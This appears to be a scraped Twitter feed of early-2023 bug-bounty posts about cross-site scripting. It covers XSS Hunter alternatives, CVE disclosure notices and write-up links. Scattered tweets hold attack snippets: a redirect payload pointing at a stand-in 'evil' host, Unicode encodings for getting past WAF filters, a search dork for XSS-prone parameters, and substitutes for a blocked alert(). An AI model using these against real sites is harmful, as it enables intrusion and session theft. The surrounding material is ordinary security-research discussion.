profile

Mike Takahashi

@TakSec2 years ago

💣 XSS Hunter goes down Feb 11th! 🏆 Thank you @IAmMandatory for running it all these years! 👉 Build your own XSS Hunter w/ this easy script by @AdamJSturge: https://t.co/L9eq2fZiJL #xss #bugbountytips #bugbounty #hacking #infosec 👇🧵for more resources https://t.co/cpKMbtMHh2

profile

pandaquests (cute/cutie)

@pandaquests2 years ago

https://t.co/I9QUS39ZIX #xss #htmlinjection #javascript #cleancode #programming #programmer #coding #programmierung #hacking #web #code #codereview #computerscience #js #webdeveloper #webdevelopment #codingforbeginners #frontend #codenuggets #fyp #fy #pandaquests

profile

at0m

@atomiczsec2 years ago

in the next couple days, I will be posting about my #XSS methodology and where I find most of them and how I found some. Stay tuned #bugbounty #bugbountytip #bugbountytips @trufflesec @XssHunter 🫡 https://t.co/w7viJQHzh0

profile

khalil shreateh 🧢

@Shreateh2 years ago

https://t.co/fgwpcDRXBC #shreateh #exploit #hacker #computer #cybersecurity #blackleaders #technology #vulnerability #vulnerabilityisstrength #vulnerable #infosec #security #tech #hacking #programming #hackers #coding #safety #cybersec

profile

VIEH Group

@viehgroup2 years ago

Great news. new version of xss hunter. Link: https://t.co/at87pRp8MR #bugbountytips #xsshunter #xss #hacker #bugbounty https://t.co/U0CzmpwaYI

profile

HeNews

@HeNews92 years ago

The course also covers web application hacking, discovering and exploiting vulnerabilities, and protecting against XSS and MITM attacks. Finally, the course covers social engineering techniques and malware analysis.

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-02-04 Unique Tweets: 210 TOP 10 KEYWORDS 1: Cross 2: Site 3: XSS 4: Scripting 5: GoAnywhere 6: MFT 7: CSRF 8: Fortra's 9: Injection 10: Vigil bot-tweet #infosec #cybersecurity

profile

Ptrace Security GmbH

@ptracesecurity2 years ago

Winning QR with DOM-Based XSS | Bug Bounty POC https://t.co/Lx1t1Ab4B1 #Pentesting #BugBounty #CyberSecurity #Infosec https://t.co/cpYAIRawQz

profile

Borna Nematzadeh

@LogicalHunter2 years ago

The @trick3st is a better way to automate your recon workflow! Here's a simple workflow to find XSS vulnerability. It imports URLs from the input and uses both dalfox and nuclei-xss-templates (-tags xss) for scanning. #bugbounty #bugbountytips https://t.co/rfXZD9RpYK

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Path based xss with diffrence type methods⚔️ 1: Inecject payload in every path and check xss 2: append fake paramters in every path and check xss vulnerability 3: made poc for you in your terminal https://t.co/82zFTiWWmg #infosec #bugbountytips #CyberSecurity https://t.co/BHuPzXuEiv

profile

payloadartist

@payloadartist2 years ago

⚙️ XSSHunter service is deprecated. Now what? 👇(1/2) @trufflesec launched a better version of it with more checks - CORS - Secrets on the page the payload fires - Exposed .git directory https://t.co/VPFRxraj6L #bugbounty #infosec #cybersecurity #redteam #bugbountytips https://t.co/NcTP4WGUKa

profile

Rami (drunkrhin0)

@drunkrhin02 years ago

You're sleeping on this if you haven't read it yet 😴 ✅ DOM XSS ✅9+ entities affected ✅Detailed explanation (with diagrams too!) ✅PoC ✅ Absolute legend @justinsteven #bugbountytips https://t.co/Z41wr7GL6u

profile

Ashish Dhone

@ashketchum_162 years ago

Hacked @Apple Teacher Learning Centre - ATLC 4th time ❤️ Bug: Bypass Blind XSS Bounty: $7500 Soon I'll be posting case study on my channels at, https://t.co/g1LMOhSQUH https://t.co/rRiWLQ7owA ./KEEP_hacking #apple #keep_hacking #news #media #BugBounty #hacker #HackerNews https://t.co/UqTRcrEmcT

profile

r3kt

@iamR3KT2 years ago

@krishnsec and I collaborated on one program at @Bugcrowd through this I earned more than my one month salary in just 4 nights. Reported 10 Ref XSS 2 SSRFs etc Really learned new things from him new target - Hustle to earn my first 4 digit bounty. Improving in #BugBounty

profile

Manoj Khadka🇳🇵

@Manojkhd2 years ago

When try some web put xss🐞payload then Boom!💥 with PoC ex payload: <script>window.location=”http://evil[.]com”;</script> #xss #bugbountytips https://t.co/vGDrJt3pQ0

profile

Rey

@Rey_Nevan2 years ago

@Infosec_Taylor There is a big difference between a pentest and looking for issues on a website. So it really depends if we speak missing encryption, xss, or sql injection. Just like in the strip club, looky looky but no touchy touchy

profile

Hacking Articles

@hackinarticles2 years ago

Comprehensive Guide on Cross-Site Scripting (XSS) https://t.co/bF8HmpQ7pc #infosec #cybersecurity #cybersecuritytips #pentesting #oscp #redteam #informationsecurity #cissp #CyberSec #networking #networksecurity #CheatSheet #infosecurity #cyberattacks #bugbounty #bugbountytips https://t.co/draWLOf1Oj

profile

VIEH Group

@viehgroup2 years ago

DOM-Based XSS for fun and profit $$$! | Bug Bounty POC https://t.co/OK9tBqCb1N #infosec #cyberattack #cybersecurity #bugbounty #bugbountytip #hacking

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0608): Cross-site Scripting (XSS) - DOM in microweber/microweber. https://t.co/zF4lKUoOTq Disclosed by https://t.co/bYpI4eoNDU, fixed by microweber maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0607): Cross-site Scripting (XSS) - Stored in projectsend/projectsend. https://t.co/aK4e96vmtK Disclosed by @@d47sec, fixed by projectsend maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Abhishek Meena

@Aacle_2 years ago

✨Bug Bounty Pro Tip: ➡Escalate everything you find! #bugbounty #Infosec #hacking • Don’t report SSRF, Escalate to RCE. • Don’t report Self-XSS, Chain it with Clickjacking. • Don’t report Self-Stored XSS, Chain it with CSRF. More🧵(1/n) : 👇 https://t.co/4NHJzEtXU5

profile

Dr.FarFar

@3XS02 years ago

#FREE 2ಠ23 ♥ Acunetix Premium 15.3.230123162 Full Activated – Discount 100% OFF https://t.co/Joixus9aMb Link : https://t.co/kvz50QYeZl #Acunetix #HackerOne #Hackers #Synack #BugCrowd #XSS #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #HackerNews https://t.co/8SGqMWgvCD

profile

Cybersecurity Tooling Bot

@infosec_intel2 years ago

Github: https://t.co/DKV5D94Bg6 Stars: 9 Watching: 0 Last change: Aug 8, 2021 #infosec #redteam #pentesting #hacking #cybersecurity #bugbounty

profile

Cybersecurity Tooling Bot

@infosec_intel2 years ago

Github: https://t.co/0XV9h5Bcwq Stars: 869 Watching: 28 Last change: Oct 31, 2022 #infosec #redteam #pentesting #hacking #cybersecurity #bugbounty

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0606): Cross-site Scripting (XSS) - Reflected in ampache/ampache. https://t.co/nhgZcnUkD7 Disclosed by https://t.co/dmte2VSaRV, fixed by @ampache... #opensource #CVE #bugbounty #security #vulnerability

profile

0ha€ck^

@mrzip2zip2 years ago

The best extension in browser to found xss, sql , encode; decode payload and more https://t.co/NfBsFo4gpJ ——— #bugbountytips #BugBounty #infosec #cybersecurite #Pentesting #Hacked #bugcrowd https://t.co/urDpY0MScX

profile

VIEH Group

@viehgroup2 years ago

XSS, Flash Cross-Domain Policy, and CSRF Vulnerabilities Discovered on a Single Website https://t.co/SGHtOv29OW #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

VIEH Group

@viehgroup2 years ago

XSS vulnerability https://t.co/HWvYrmE81i #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Manoj Khadka🇳🇵

@Manojkhd2 years ago

Do you like 🐞deface using XSS, and I love hunting with parameter PoC #xsshunter #bugbountytips #xss https://t.co/P3d81h5JDH

profile

beam

@beamsterzero2 years ago

@CanYouHearBR Currently hacking your web server and doing a XSS script

profile

0xSe.eK

@0se0ek2 years ago

How to found xss(xss methodology): https://t.co/0DOcR2Bmid ----------------------- #BugBounty #BugBountyTip #bugbountytips #infosecurity #infosec #Hacking https://t.co/0sdytCoRu7

profile

Lewis

@0reoSec2 years ago

@inj3ct0r: #0day #Hikvision Remote Code Execution / #XSS / #SQLi #Injection #Vulnerabilities #RCE https://t.co/7E5t6LsnsV #cybersecurity #infosec @0reoSec

profile

VIEH Group

@viehgroup2 years ago

Vue JS Reflected XSS https://t.co/aZbs8ZheFL #infosec #Bugbounty #bugbountytips #cybersecurity #hacking #cyberattacks

profile

HACKLIDO | Cybersecurity

@hacklido2 years ago

📩 Cyber Security Round Up #4: 150,00 EUR worth XSS, Binary Exploitation, Hacking ATMs, JavaScript Hacking, API Security, NoSQL, SSRF, IDORs & more… 🔗 https://t.co/CYMBoX4g8F --- # Tags --- #infosec #infosecurity #cybersecurity #bugbountytip #bugbountytips #ChatGPT

profile

CyberIQs

@CyberIQs_2 years ago

Don’t Give Up On XSS! | Fun Firefox XSS #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

XSS Report

@XssReport2 years ago

20.000 XSS reports left behind! Over 2000 bounty hunters chose https://t.co/uVCBeExkBl. Congratulations on your bounties! #xss #bugbounty #xssreport

profile

VIEH Group

@viehgroup2 years ago

How I found XSS on Admin Page without login! https://t.co/e153dJ6uxO #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

VIEH Group

@viehgroup2 years ago

Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms https://t.co/DpiQUWueZT #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Stored XSS in Public Profile Reviews 👨💻 vj1naruto ➟ https://t.co/Jg5UIutlvx ⬜ None 💰 $250.0 https://t.co/T1ZYyhwHGl #bugbounty #bugbountytips #cybersecurity https://t.co/73W2mrk8Nr

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Stored XSS in SVG file as data: url 👨💻 @irisrumtub ➟ Shopify 🟧 Medium 💰 $5300.0 https://t.co/C7HleUXN95 #bugbounty #bugbountytips #cybersecurity https://t.co/nM1XxnCGW1

profile

Lewis

@0reoSec2 years ago

@packet_storm: Hikvision Remote Code Execution / XSS / SQL Injection https://t.co/DiJp59WPRN #advisory #cybersecurity #infosec @0reoSec

profile

Matt Suiche

@msuiche2 years ago

@joernchen XSS ruined infosec

profile

Brier & Thorn México

@BrierandThornMX2 years ago

Conoce mas sobre Cross Site Scripting (#XSS), checa nuestro blog sobre el tema. https://t.co/10iII0CgzV #infosec #XSS #ciberseguridad

profile

int

@0x1int2 years ago

Such a nice scam in #BugBounty field 😂☠️ this isn't an XSS issue. https://t.co/dD12Kv4Ffw

profile

Mike Takahashi

@TakSec2 years ago

XSS in multi-step flows: 1. Something stored/reflected, but not w/ Repeater 2. Turn "Intercept" On 3. Submit the form on the page 4. Forward requests until you get to the reflected request 5. Inject your XSS payload 💥 #xss #bugbountytips #bugbounty #infosec #hackingtools https://t.co/MFSrEvV45M

profile

Goziem

@g0ziem2 years ago

@ADITYASHENDE17 @R29k_ @akita_zen @Jhaddix @zseano @hacker_ @0x0SojalSec @abdlah_md I found an endpoint, which is &code= I think it is vulnerable to xss but it blocks (, ), <script>, ` How do I bypass cloudflare waf? #xss #BugBounty

profile

eagle rage

@eaglerage02 years ago

20 YOUTUBE CHANNELS TO LEARN HACKING PhD security HackerSploit InsiderPhD Null byte STÖK ZSecurity Hak5 IppSec The XSS Rat Nahamsec SecurityFWD Vickie Li Dev NetworkChuck The Cyber Mentor John Hammond Rana Khalil ITProTV PwnFunction edureka! David bombal #CyberSec #BugBounty

profile

Demon

@R29k_2 years ago

1- Found a support page. 2- It had Name,email and message fields 3- There was an option for saving your info, selecting it will save your Name and Email on the support page. 4- There was a self-xss in Name Field. 5- Chained it with CSRF and got a nice Stored XSS #BugBounty #xss

profile

Beg Hunter

@BegHunter2 years ago

Full disclosing XSS ATO 0day method #0dayHunting #TogetherWeStrikeHarder #bugbountytips https://t.co/C0N7HkzmIy

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

If you are looking to move away from #xsshunter @XssHunter you can give a try to a new product @bxsshunter (https://t.co/VRQCgNtZht) give us a try and let us know what more features you need! #xss #xsshunter #BugBounty #bugbountytips #blindxss https://t.co/RuYeT5Mgo7

profile

Glênnio

@iGlennio2 years ago

Falha de XSS no site da Globo no @valoreconomico permite redirecionar, infect ou roubo de sessão de cookies de outros usuários. #BugBounty #bugbountytips #Hacked #Hacking #Pentesting #cybersecuritytips #globo #GloboNews #Twitter #virus #hacker #ITSecurity #Defcon #SEC https://t.co/2I97I6aSDw

profile

BXSS Hunter

@bxsshunter2 years ago

@bxsshunter (https://t.co/vwMj0MYp29) now supports all the same features now + more of them ! go ahead and give us a try! #bxsshunter #bugbounty #bugbountytips #blindxss #bugbountytip #infosec #cybersecuritytips #cybersecurity #xss #xsstips https://t.co/MmgZXZCiLD

profile

Cyber Xplore

@CyberXplore2 years ago

Exciting news! BXSS Hunter (https://t.co/PT2HFpr02C) has been updated with improved CORS detection, secret DOM detection, .git directory detection, & bug fixes! #xsshunter #bxsshunter #bugbountytips #bugbountytips #CyberSecurity #cybersecuritytips #bugbounty @bxsshunter

profile

BXSS Hunter

@bxsshunter2 years ago

Exciting news! BXSS Hunter (https://t.co/vwMj0MYp29) has been updated with improved CORS detection, secret DOM detection, .git directory detection, & bug fixes! #xsshunter #xss #bxsshunter #bugbountytips #bugbountytips #CyberSecurity #cybersecuritytips #bugbounty #bxss

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

@bxsshunter has been updated to Version 1.0.1 checkout changelog at https://t.co/DQOP2RKxso & check out new features such as 1- cors detection 2- secrets detection in dom 3- detection of .git directories #bxsshunter #xsshunter #xss #bugbountytips #bugbounty #CyberSecurity https://t.co/dkpJfKFGhl

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

@CyberXplore is proud to announce that https://t.co/VRQCgNtZht has been updated with new features such as : 1- detection of cors issues 2- detection of secrets in dom 3- detection .git directories 4- bug fixes #xsshunter #xss #bxsshunter #bugbountytips #bugbounty @bxsshunter

profile

Mohamed Ibrahim

@mOhamedd7w2 years ago

Got XSS on #bugcrowd #bugbounty #bugbountytips https://t.co/ZtJ2AWwIGJ

profile

socket

@yxw212 years ago

New XSS platform released. Support using your own domain name. Support webhook. Mates with the burpsuite extension to log the full request that triggers xss. For more, please visit. https://t.co/WtUhwVFo0j #xsshunter #xss #hackerone #bugbounty #bugcrowd #bugbountytip #burpsuite https://t.co/osa82hf4qv

profile

Pentester Academy

@SecurityTube2 years ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/kNUNKFdf8C

profile

Excommunicado

@wy42102 years ago

My xsshunter triggered but it shows Cloudflare IP and the other one is not visible from where it belongs. Anyone can help me with that. @0x0SojalSec @hetmehtaa @TakSec #bxss #bugbountytip

profile

Chagara

@emchagara2 years ago

Yesterday I ran a small poll to understand what InfoSec pros consider as easy kills for beginners in cybersecurity, here is your result. So incase you want to build your confidence in hacking, start with injection attacks. Eg; XSS, SQL injection, Command Injection etc. https://t.co/W9HRPQN2LQ

profile

onhexgroup

@onhexgroup2 years ago

گروه @trufflesec اعلام کرده ، طی صحبتی که با خالق #XSSHunter انجام دادن ، یه نسخه جدید با امکانات بیشتر از این ابزار منتشر کردن. #xss #bugbounty #باگ_بانتی https://t.co/1IGPpageUJ

profile

Muhammed Farish

@muhamedfarish2 years ago

https://t.co/PFBHVOZRlJ #cybersecurity #bug #bugbounty #security #computerscience #networks #hacking #hacker #programming #ethicalhacking #pentesting #kalilinux #parrotos #coding #Fetlla #Medium #infosec

profile

Nitro Soul

@Mohamed225642392 years ago

XSS by exciting script with open redirect lead to run scripts to CROSS SITE SCRIPTING https://t.co/ZY2lQoN6WP #bugbunty #bugbountytips #openredirect

profile

Security Talent

@devmehedi1012 years ago

Alhamdulillah, I completed another big project of #penetration_testing / #ethical_hacking. Can get a #reverse_shell through DOM Based #XSS. The client was happy with me and awarded me an extra amount and gave a nice review. https://t.co/gHpYBFQcke #bugbountytip #bugbountytips https://t.co/kGI0jtK0DU

profile

Kali Nathalie 🏳️‍⚧️

@K4L1_FS2 years ago

[Infosec] Nem tudo são flores, eu por exemplo nunca achei um XSS em mundo real 😭 (É sério....🥲) https://t.co/zoNsAB067d

profile

Mohamed Yasser

@Mohamed225642392 years ago

لما تبقا داخل بتراجع علي معلوماتك في لاب معين و تكتشف ثغرة xss reflected 😂😂في نص اللاب #XSS #bugbountytips #webgoat #BugBuntyHunting https://t.co/pKoVqoqYlL

profile

Mike Takahashi

@TakSec2 years ago

🔎 Google Dork - XSS 🔍 inurl:q= | inurl:?s= | inurl:search= | inurl:query= | inurl:lang= | inurl:keyword= inurl:& site:example[.]com Find common parameters vulnerable to XSS #recon #bugbountytips #infosec #seo https://t.co/Wg7AI7gu9A

profile

HackGit

@hack_git2 years ago

Xssor.go Xssor is XSS payloads reflections in source code checker. https://t.co/zIHBg4Z5qi #pentesting #bugbounty https://t.co/Iu7DPmaXVn https://t.co/2XgSSzFiq7

profile

E.T

@EugenTezlaw2 years ago

@R29k_ @NeolexSecurity @Bugcrowd Omg with simple xss and sql bugs it's really possible to earn so much money? I should return back to hacking....

profile

Suyash Sharma

@SuyashS918234222 years ago

Reported many #bugs in many organisations This month Bug type:- 4 XSS (medium) 2 misconfigured Jenikens instances (HIGH) #bugbountytips #UPDATE #infosec #CyberSec https://t.co/MpfBsCldYF

profile

Eyuga

@Eyug_a2 years ago

Hii guys want to learn about #xss do you guys have any tutorials for me to watch or read to learn xss. #Linux @LiveOverflow @TCMSecurity #ethicalhacking #Pentesting #bugbounty

profile

Prince Prafull

@PrincePrafull32 years ago

Suggest some xss payloads to bypass >, <, (, ), alert, script etc. filters #xss #payloads #bugbountytips #BugBounty #webappsecurity

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-29 Unique Tweets: 176 TOP 10 KEYWORDS 1: Cross 2: Site 3: Scripting 4: XSS 5: Request 6: Forgery 7: CSRF 8: CVE 9: Help 10: Desk bot-tweet #infosec #cybersecurity

profile

أحْمَدُ مُحَمَّد

@ahmdmhamed_2 years ago

Hi, This my write-up about bypassing CSRF protection via XSS https://t.co/Ss7TAOF7ij #BugBounty #bugbountytips

profile

pizzapower

@pizzap0w3r2 years ago

Found some cool stuff lately: https://t.co/CwIt6sFUcI… https://t.co/zwc3TYI8zb… https://t.co/hf8fgWOlIl… https://t.co/yDSJDy5Uu6… Plus an SQLi in a big ecosystem. #cybersecurity #infosec #hacking

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0470): Cross-site Scripting (XSS) - Stored in modoboa/modoboa. https://t.co/QpCMQXOeZH Disclosed by https://t.co/yP3tBVjXCL, fixed by @modoboa_mail... #opensource #CVE #bugbounty #security #vulnerability

profile

iSecurity

@iSecurity2 years ago

How I was able to find 4 Cross-site scripting (XSS)on vulnerability disclosure program ? https://t.co/HQKGzj9OWz #bugbounty #websitesecurity #cybersecurity

profile

Amr Mustafa

@Amr_MustafaAA2 years ago

I just published How I was able to find 4 Cross-site scripting (XSS) on vulnerability disclosure program  https://t.co/KCEB07IpD5 #BugBounty #bugbountytips #CyberSecurity

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0519): Cross-site Scripting (XSS) - Stored in modoboa/modoboa. https://t.co/8w7uCZSFfC Disclosed by https://t.co/mmZxqUVyCn, fixed by @modoboa_mail... #opensource #CVE #bugbounty #security #vulnerability

profile

Jack

@Jaxon11772 years ago

Hi .. Anyone have any success using https://t.co/rvBJxswot4 tool? #BugBounty

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0488): Cross-site Scripting (XSS) - Stored in pyload/pyload. https://t.co/5SvRCyYr57 Disclosed by @bAuholz_, fixed by @pyload... #opensource #CVE #bugbounty #security #vulnerability

profile

M1n@Cris

@Minacris890M2 years ago

I found a Cross-site scripting (XSS) and bypassed the WAF (akamai) on one of the TikTok ads endpoint and could lead it to takeover any account on TikTok ads #BugBounty #bugbountytips

profile

Ali Tütüncü

@alicanact602 years ago

@bugbounty_memes It's just a Reflected XSS report template, not nuclei template or something like that 😂

profile

iSecurity

@iSecurity2 years ago

Blind XSS To SSRF https://t.co/v107lCwv5H #webapplicationsecurity #cybersecurity #bugbounty

profile

RedPacket Security

@RedPacketSec2 years ago

HackerOne Bug Bounty Disclosure: rails-actionview-sanitize-helper-bypass-leading-to-xss-using-svg-tag-byhaqpl - https://t.co/vmPydcQxH1 #HackerOne #CVE #Vulnerability #OSINT #ThreatIntel #Cyber

profile

Fares Walid

@SirBagoza2 years ago

Published my .go version of xssor https://t.co/urYh2qrmwk Q: What's Xssor? A: Xssor is XSS payloads reflections in source code checker. Differences of .py version? - Quicker - Duplicated urls Skipper #infosec #bugbountytips #cybersecuritytips

profile

s3c

@s3c_krd2 years ago

I found a Cross-site scripting (XSS) and bypassed the WAF (akamai) on one of the TikTok ads endpoint and could lead it to takeover any account on TikTok ads #BugBounty #bugbountytips https://t.co/ZFVWnjcBrg

profile

Anonymous H4ck3r

@AnonymousH4ck352 years ago

AWESOME BUGBOUNTY TOOLS Subdomain Enumeration Port Scanning Fuzzing GraphQL/CRLF/CSRF/SQL/XSS/XXE Injections Directory Traversal Open Redirect Subdomain Takeover and more. https://t.co/JcdifiPdHX https://t.co/dBi52sMB7h

profile

Lewis

@0reoSec2 years ago

@SaraBadran18: RCE, SQl injection, Stored XSS in @MyBB -- Publication date :- 2023-01-25 -- By @ptswarm -- https://t.co/FrTXqlF0LK -- #hackerone #BugBounty #bugbountytips #hackeronereport #writeups #Bugbountywriteupspublished #bugbountytip https://t.co/mdTDNiDoQ4 #cyberse…

profile

🐞Sara Badran

@SaraBadran182 years ago

RCE, SQl injection, Stored XSS in @MyBB -- Publication date :- 2023-01-25 -- By @ptswarm -- https://t.co/6ikSFioL0r -- #hackerone #BugBounty #bugbountytips #hackeronereport #writeups #Bugbountywriteupspublished #bugbountytip https://t.co/AvKkCltRtH

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Rails ActionView sanitize helper bypass leading to XSS using SVG tag. 👨💻 @haqpl ➟ Internet Bug Bounty 🟧 Medium 💰 $2400.0 https://t.co/36VYP3IHYG #bugbounty #bugbountytips #cybersecurity https://t.co/Ywdnjjssfd

profile

Hitesh Patra

@0xdeviner2 years ago

Made a YT video on @bxsshunter, a cool alternative to @XssHunter As you might know, #xsshunter will no longer be in support for your blind XSS hunting journey, a similar tool with additional functionality is now available. https://t.co/KpIBTTwHjs #bugbountytips #infosec

profile

Abdelrhman Allam

@sl4x02 years ago

Research | Bypass CSRF Protection w/ XSS https://t.co/0OHItG5LlO #websecurity #infosec #appsec #recon #bugbountytips #bugbounty #bughunting #csrf #xss #securityresearch

profile

@x1337Loser

@0xnirob2 years ago

@0xRiy4d @yaworsk @zseano Learn basic concept of web hacking, then you Will realize which one should you learn first! Mine one is XSS then access control issue. Good luck❤️

profile

Dhaval Patel

@d4rk_hors32 years ago

file upload to XSS #BugBounty #bugbountytips #bugbountytip #infosec #appsec #CyberSec #ethicalhacking Link: https://t.co/dqNCSBa2BI

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

HTTP Status Code for ⚡️#XSS 200, 201, 202, 203, 206 301, 302, 303, 305 400 to 417 except 407 500 to 508 #infosec

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

When trying for XSS if alert() is blocked you can use an alternative like⚡️. by @KathanP19 1. confirm 2. prompt 3. eval 4. write Found Some More Here👇 https://t.co/xM9XLvuoXE #infosec #cybersec #bugbountytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Massive XSS⚔️#infosec #bugbountytips #cybersecuritytips https://t.co/YFWnl92ljT

profile

Programmatic.Solutions

@Programmatoris2 years ago

In NodeJS, what is a good way of ensuring user submitted data in (text input) forms is not malicious? - Visit https://t.co/msfL5EiMOh for the answer. #xss #sql_injection #nodejs #infosec #softwaredevelopment

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ XSS at TikTok Ads Endpoint 👨💻 @s3c_krd ➟ TikTok 🟥 High 💰 N/A https://t.co/mm8iRQHM4B #bugbounty #bugbountytips #cybersecurity https://t.co/UrvByJ7DVA

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ XSS on ( █████████.gov ) Via URL path 👨💻 @Ajay_jachak24 ➟ U.S. Dept Of Defense 🟧 Medium 💰 N/A https://t.co/xYlX7r05xV #bugbounty #bugbountytips #cybersecurity https://t.co/AzMIp8hQC3

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ reflected xss in www.████████.gov 👨💻 maskedpersian ➟ U.S. Dept Of Defense 🟧 Medium 💰 N/A https://t.co/UknbNEO9qf #bugbounty #bugbountytips #cybersecurity https://t.co/kUsEDKsfKJ

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Reflected XSS on ██████.mil 👨💻 @alishahmughal12 ➟ U.S. Dept Of Defense 🟧 Medium 💰 N/A https://t.co/UUxpYt0b1x #bugbounty #bugbountytips #cybersecurity https://t.co/lE4djAp4TT

profile

Ptrace Security GmbH

@ptracesecurity2 years ago

Bypassing Cloudflare WAF: XSS via SQL Injection https://t.co/m5iR0oCz6f #Pentesting #SQLinjection #CyberSecurity #Infosec https://t.co/iq2qnnizW3

profile

Sysbraykr

@sysbraykr2 years ago

XSS/WAF/SQL filter bypass. < - %EF%BC%9C (\uff1c) > - %EF%BC%9E (\uff1e) \ - %EF%BC%BC (\uff3c) / - %EF%BC%8F (\uff0f) ' - %EF%BC%87 (\uff07) " - %EF%BC%82 (\uff02) #bypass #xss #waf #sql #SysBraykr #BugHunting #InfoSec #WeBreakIt2SecureIt

profile

ABHIJITH PK

@ag3n7apk2 years ago

Stored XSS #BugBounty #xss https://t.co/0EBWAQkgd3

profile

RedPacket Security

@RedPacketSec2 years ago

HackerOne Bug Bounty Disclosure: xss-at-tiktok-ads-endpointbys3c - https://t.co/9D5hFvRIaj #HackerOne #CVE #Vulnerability #OSINT #ThreatIntel #Cyber

profile

${Manash}

@manash0362 years ago

Recently, I reported an open redirect (OR) vulnerability that I was able to convert to a full account takeover. Cookies had HttpOnly enabled, so was not possible to steal directly. This is what I did 🧵👇 🏃TLDR OR=>XSS=>Steal token from /sso/refresh #BugBounty #infosec (1/n)

profile

Black Hat Ethical Hacking

@secur1ty1samyth2 years ago

Offensive Security Tool: XSSRocket XSS Rocket is written by us with the help of #ChatGPT as experimentation and is designed for Offensive Security and #XSS (Cross-Site-Scripting) attacks. Read the full post: https://t.co/ULUCMjGZBN #infosec #informationsecurity #redteam https://t.co/XCq9XFqUZe

profile

Sysbraykr

@sysbraykr2 years ago

Bypassing Cloudflare WAF: XSS via SQL Injection https://t.co/ikvHmtGPfS #SysBraykr #BugHunting #InfoSec #WeBreakIt2SecureIt

profile

hemi

@jookermoon2 years ago

https://t.co/KVrWFi2Tna

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-26 Unique Tweets: 339 TOP 10 KEYWORDS 1: Site 2: Vigil 3: Cross 4: Facebook 5: Twitter 6: Make 7: Scripting 8: XSS 9: Windows 10: CryptoAPI bot-tweet #infosec #cybersecurity

profile

0x999

@_0x9992 years ago

Currently working on a Burp Suite extension designed for Blind XSS injection in Headers, if anyone has any suggestions for additional features that should be added please do lmk, Here are the current features👇 (pls excuse the ugly UI, it's temporary) #bugbountytips #bugbountytip https://t.co/OWIZJCvG0R

profile

Muhammed Farish

@muhamedfarish2 years ago

https://t.co/zWnR15aofH #cybersecurity #bug #bugbounty #security #computerscience #networks #hacking #hacker #programming #ethicalhacking #pentesting #kalilinux #parrotos #coding #Fetlla #Medium #infosec

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-25 Unique Tweets: 403 TOP 10 KEYWORDS 1: Cross 2: Site 3: Log 4: Scripting 5: XSS 6: Google 7: Data 8: Vigil 9: VMware 10: GoTo bot-tweet #infosec #cybersecurity

profile

CyberIQs

@CyberIQs_2 years ago

How to Prevent Cross-Site Scripting (XSS) Attacks #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

unpaired_electron

@Ajay_jachak242 years ago

Blind XSS leads to data leakage But the Domain is out of scope.. Will they pay for this? What do you think ? #bugbountytips #BugBounty #hackerone #bugcrowd https://t.co/awg70DKiMX

profile

BXSS Hunter

@bxsshunter2 years ago

Feel free to DM Us Issues Being Resolved - 1- XSS FIRE PAGE NOT LOADING WHEN MANY XSS FIRES HAPPENS 2- IP ADDRESS ALWAYS COMING 127.0.0.1 3- Some Minimal Issues #bxsshunter #bxss #bugbountytips #bugbounty https://t.co/171GmQ0MJE

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

In case someone finds any issues on @bxsshunter feel free to dm or @bxsshunter . Update - There was server load today we handled it effectively with little down time of 5-10 minutes Signup Now At https://t.co/VRQCgNtZht #xsshunter #bxsshunter #bxss #bugbountytips #bugbounty

profile

bugbountymemes

@bugbounty_memes2 years ago

